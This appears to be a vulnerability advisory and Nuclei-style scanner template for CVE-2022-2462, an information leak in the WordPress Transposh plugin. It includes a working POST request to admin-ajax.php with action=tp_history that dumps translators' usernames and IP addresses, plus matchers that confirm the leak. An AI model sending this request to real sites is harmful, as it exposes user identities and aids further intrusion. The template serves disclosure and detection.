WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute. If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.
PoC
id: CVE-2022-2462
info:
name: WordPress Transposh <=1.0.8.1 - Information Disclosure
author: dwisiswant0
severity: medium
description: |
WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute. If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.
impact: |
An attacker can exploit this vulnerability to gain sensitive information from the target system.
remediation: |
Upgrade to the latest version of the WordPress Transposh plugin (>=1.0.8.2) to mitigate this vulnerability.
reference:
- https://packetstormsecurity.com/files/167878/wptransposh1081-disclose.txt
- https://github.com/oferwald/transposh
- https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2462
- https://nvd.nist.gov/vuln/detail/CVE-2022-2462
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2022-2462
cwe-id: CWE-200
epss-score: 0.03718
epss-percentile: 0.8922
cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: transposh
product: transposh_wordpress_translation
framework: wordpress
tags: cve,cve2022,wordpress,disclosure,wp-plugin,packetstorm,transposh,xss,vuln
http:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=tp_history&token=&lang=en" # we leave the value for 'token' with an empty string so it fetch all history
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: dsl
dsl:
- "len(transposh) > 0" # 'transposh' equivalent for Transposh header key
- type: word
part: body
words:
# because the query is `SELECT translated, translated_by, timestamp, source, user_login [...]`
- "translated"
- "translated_by"
- "timestamp"
- "source"
- "user_login"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502204918c9d1b2a801d76f6b9593e6e1697c078393a04369f7f66a42c5e71e0bec3a022100d687b06e5686c16a457af3e2dbcb97121a1a8c945eb569be7386d1903bf0d3af:922c64590222798bb761d5b6d8e72950
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